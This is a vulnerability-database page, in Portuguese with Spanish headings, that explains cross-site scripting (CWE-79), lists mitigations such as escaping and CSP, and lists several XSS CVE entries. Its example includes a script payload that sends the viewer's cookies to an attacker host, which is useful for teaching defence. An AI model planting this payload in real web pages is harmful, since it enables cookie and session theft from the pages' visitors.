Fallos del tipo CWE-79

30.150 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-8153MEDIUMCross-site Scripting vulnerability in NEC Corporation UNIVERGE IX from Ver.9.5 to Ver.10.7, from Ver.10.8.21 to Ver.10.8.36, from Ver.10.9.1EPSS 0.3%CVE-2024-3230MEDIUMDownload Attachments <= 1.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-6897MEDIUMaThemes Starter Sites <= 1.0.53 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-28254MEDIUMCross Site Scripting vulnerability in Leantime v3.2.1 and before allows an authenticated attacker to execute arbitrary code and obtain sensiEPSS 0.3%CVE-2026-21944MEDIUMVulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality ManageEPSS 0.3%CVE-2026-22256HIGHSalvo is vulnerable to reflected XSS in the list_html functionEPSS 0.3%CVE-2024-29906MEDIUMWordPress MDTF – Meta Data and Taxonomies Filter plugin <= 1.3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-29774MEDIUMDreamer CMS 3.0.1 is vulnerable to stored Cross Site Scripting (XSS).EPSS 0.3%CVE-2024-52483HIGHWordPress LeanPress plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-4988HIGHStored Cross-site Scripting (XSS) vulnerability affecting Results Analytics in Multidisciplinary Optimization Engineer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2024-2958MEDIUMSVS Pricing Tables <= 1.0.4 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-4983HIGHStored Cross-site Scripting (XSS) vulnerability affecting City Referential in City Referential Manager on Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2024-22289HIGHWordPress Post views Stats plugin <= 1.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-4990HIGHStored Cross-site Scripting (XSS) vulnerability affecting Change Governance in Product Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2025-4992HIGHStored Cross-site Scripting (XSS) vulnerability affecting Service Items Management in Service Process Engineer from Release 3DEXPERIENCE R2024x through Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2024-32468MEDIUMImproper neutralization of input during web page generation ("Cross-site Scripting") in deno_doc HTML generatorEPSS 0.3%CVE-2025-48447HIGHLightgallery - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-069EPSS 0.3%CVE-2024-8324MEDIUMXO Slider <= 3.8.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-59948MEDIUMFreshRSS is vulnerable to XSS due to lack of CSP on HTML query pageEPSS 0.3%CVE-2025-4985HIGHStored Cross-site Scripting (XSS) vulnerability affecting Risk Management in Project Portfolio Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025xEPSS 0.3%